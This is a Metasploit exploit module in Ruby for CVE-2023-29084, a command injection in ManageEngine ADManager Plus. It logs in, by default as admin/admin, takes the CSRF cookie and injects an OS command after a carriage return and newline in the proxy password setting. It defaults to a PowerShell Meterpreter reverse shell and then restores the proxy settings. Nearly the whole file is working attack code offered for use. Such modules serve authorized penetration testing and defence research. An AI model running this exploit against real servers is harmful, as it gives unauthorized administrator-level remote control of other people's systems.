##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
require 'json'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine ADManager Plus ChangePasswordAction Authenticated Command Injection',
'Description' => %q{
ManageEngine ADManager Plus prior to build 7181 is vulnerable to an authenticated command injection due to insufficient
validation of user input when performing the ChangePasswordAction function before passing it into a string that is later
used as an OS command to execute.
By making a POST request to /api/json/admin/saveServerSettings with a params POST
parameter containing a JSON array object that has a USERNAME or PASSWORD element containing a
carriage return and newline, followed by the command the attacker wishes to execute, an attacker can gain RCE as the user
running ADManager Plus, which will typically be the local administrator.
Note that the attacker must be authenticated in order to send requests to /api/json/admin/saveServerSettings,
so this vulnerability does require authentication to exploit.
As this exploit modifies the HTTP proxy settings for the entire server, one cannot use fetch payloads
with this exploit, since these will use HTTP connections that will be affected by the change in configuration.
},
'Author' => [
'Simon Humbert', # Disclosure of bug via ZDI
'Dinh Hoang', # Aka hnd3884. Writeup and PoC
'Grant Willcox', # Metasploit module
],
'References' => [
['CVE', '2023-29084'],
['URL', 'https://hnd3884.github.io/posts/CVE-2023-29084-Command-injection-in-ManageEngine-ADManager-plus/'], # Writeup
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-438/'], # ZDI Advisory
['URL', 'https://www.manageengine.com/products/ad-manager/admanager-kb/cve-2023-29084.html'], # Advisory
['URL', 'https://www.manageengine.com/products/ad-manager/release-notes.html'] # Release Notes and Reporter Acknowledgement
],
'DisclosureDate' => '2023-04-12',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_CMD],
'Privileged' => true,
'Payload' => {
'BadChars' => "\x22\x0A\x0D\x00[{}]:," # Avoid double quotes, aka 0x22, and some other characters that might cause issues.
},
'Targets' => [
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp' },
'Payload' => { 'Compat' => { 'ConnectionType' => 'reverse bind none' } }
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8080
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] # We are changing the proxy settings for every HTTP connection on the target server.
}
)
)
register_options(
[
OptString.new('USERNAME', [true, 'The user to log into ADManager Plus as', 'admin']),
OptString.new('PASSWORD', [true, 'The password to log in with', 'admin']),
OptString.new('DOMAIN', [true, 'The domain to log into', 'ADManager Plus Authentication'])
]
)
end
def login(username, password, domain)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'j_security_check'),
'method' => 'POST',
'vars_get' => {
'LogoutFromSSO' => 'true'
},
'vars_post' => {
'is_admp_pass_encrypted' => 'false', # Optional but better to keep it in here to match normal request.
'j_username' => username,
'j_password' => password,
'domainName' => domain,
'AUTHRULE_NAME' => 'ADAuthenticator'
},
'keep_cookies' => true
)
unless res && (res.code == 302 || res.code == 303)
fail_with(Failure::NoAccess, 'Could not log in successfully!')
end
print_good('Logged in successfully!')
end
def check
res = send_request_cgi(
'uri' => target_uri.path,
'method' => 'GET'
)
unless res && res.code == 200 && res.body
return CheckCode::Unknown('Browsing to root of website returned a non-200 or empty response!')
end
unless res.body&.match(/\.val\('ADManager Plus Authentication'\)/)
return CheckCode::Safe('Target is not running ADManager Plus!')
end
build_number = res.body&.match(/src=".+\.js\?v=(\d{4})"/)
unless build_number
return CheckCode::Unknown('Home page did not leak the build number via the ?v= parameter as expected!')
end
build_number = build_number[1]
print_good("The target is running AdManager Plus build #{build_number}!")
# Versions 7181 and later are patched, everything prior is vulnerable.
target_build = Rex::Version.new(build_number)
if target_build >= Rex::Version.new('7181')
CheckCode::Safe('Target is running a patched version of AdManager Plus!')
elsif target_build < Rex::Version.new('7181')
CheckCode::Appears('Target appears to be running a vulnerable version of AdManager Plus!')
else
CheckCode::Unknown("An unknown error occurred when trying to parse the build number: #{build_number}. Please report this error!")
end
end
def exploit
res = send_request_cgi(
'uri' => target_uri.path,
'method' => 'GET',
'keep_cookies' => true
)
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'Home page of target did not respond with the expected 200 OK code!')
end
login(datastore['USERNAME'], datastore['PASSWORD'], datastore['DOMAIN'])
# We need to do this post login otherwise we will get errors. This also ensures we get updated
# cookies post login as these can sometimes change post login process.
res = send_request_cgi(
'uri' => target_uri.path,
'method' => 'GET',
'keep_cookies' => true
)
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'Home page of target did not respond with the expected 200 OK code post authentication!')
end
# Check that we actually got our cookies updated post authentication and visiting the homepage.
unless res&.get_cookies&.match(/adscsrf=.*?;.*?;.*?_zcsr_tmp=.*?;/)
fail_with(Failure::UnexpectedReply, 'Target did not respond with the expected updated cookies after logging in and visiting the home page.')
end
@csrf_cookie = nil
for cookie in @cookie_jar&.cookies
if cookie.name == 'adscsrf'
@csrf_cookie = cookie.value
break
end
end
fail_with(Failure::NoAccess, 'Could not obtain adscrf cookie!') if @csrf_cookie.blank?
retrieve_original_settings
begin
modify_proxy(create_params_value_enable(payload.encoded))
ensure
modify_proxy(create_params_value_restore)
end
end
def retrieve_original_settings
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'getServerSettings'),
'method' => 'POST',
'vars_post' => {
'adscsrf' => @csrf_cookie
},
'keep_cookies' => true
}
)
unless res && res.code == 200 && res&.body&.match(/ads_admin_notifications/)
fail_with(Failure::UnexpectedReply, 'Was unable to get the admin settings for restoration!')
end
json_body = JSON.parse(res.body)
server_details = json_body['serverDetails']
unless server_details
fail_with(Failure::UnexpectedReply, 'Was unable to retrieve the server settings!')
end
server_details.each do |elm|
next unless elm['tabId'] == 'proxy'
@original_port = elm['PORT']
@original_password = elm['PASSWORD']
@proxy_enabled = elm['ENABLE_PROXY']
@original_server_name = elm['SERVER_NAME']
@original_user_name = elm['USER_NAME']
break
end
end
def modify_proxy(params)
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'saveServerSettings'),
'method' => 'POST',
'vars_post' => {
'adscsrf' => @csrf_cookie,
'params' => params
},
'keep_cookies' => true
}
)
if res && res.code == 200
if res.body&.match(/{"isAuthorized":false}/)
fail_with(Failure::NoAccess, 'Somehow we became unauthenticated during exploitation!')
elsif res.body&.match(/Successfully updated the following settings.*-.*Proxy Settings/)
print_warning("Settings successfully changed confirmation received before timeout occurred. Its possible the payload didn't execute!")
elsif res.body&.match(/"status":"error"/)
print_error("The payload somehow triggered an error on the target's side! Error was: #{res.body}")
else
fail_with(Failure::PayloadFailed, 'Was not able to successfully update the settings to execute the payload!')
end
elsif res.nil?
print_good('Request timed out. Its likely the payload executed successfully!')
else
fail_with(Failure::UnexpectedReply, "Target responded with a non-200 OK code to our saveServerSettings request! Code was #{res.code}")
end
end
def create_params_value_enable(cmd)
[
{
tabId: 'proxy',
ENABLE_PROXY: true,
SERVER_NAME: 'localhost', # In my experience this worked most reliably.
USER_NAME: Rex::Text.rand_text_alphanumeric(4..20).to_s,
PASSWORD: "#{Rex::Text.rand_text_alphanumeric(4..20)}\r\n#{cmd}",
PORT: datastore['RPORT'] # In my experience, setting this to the same PORT as the web server worked reliably.
}
].to_json
end
def create_params_value_restore
[
{
tabId: 'proxy',
ENABLE_PROXY: @proxy_enabled,
SERVER_NAME: @original_server_name,
USER_NAME: @original_user_name,
PASSWORD: @original_password,
PORT: @original_port
}
].to_json
end
end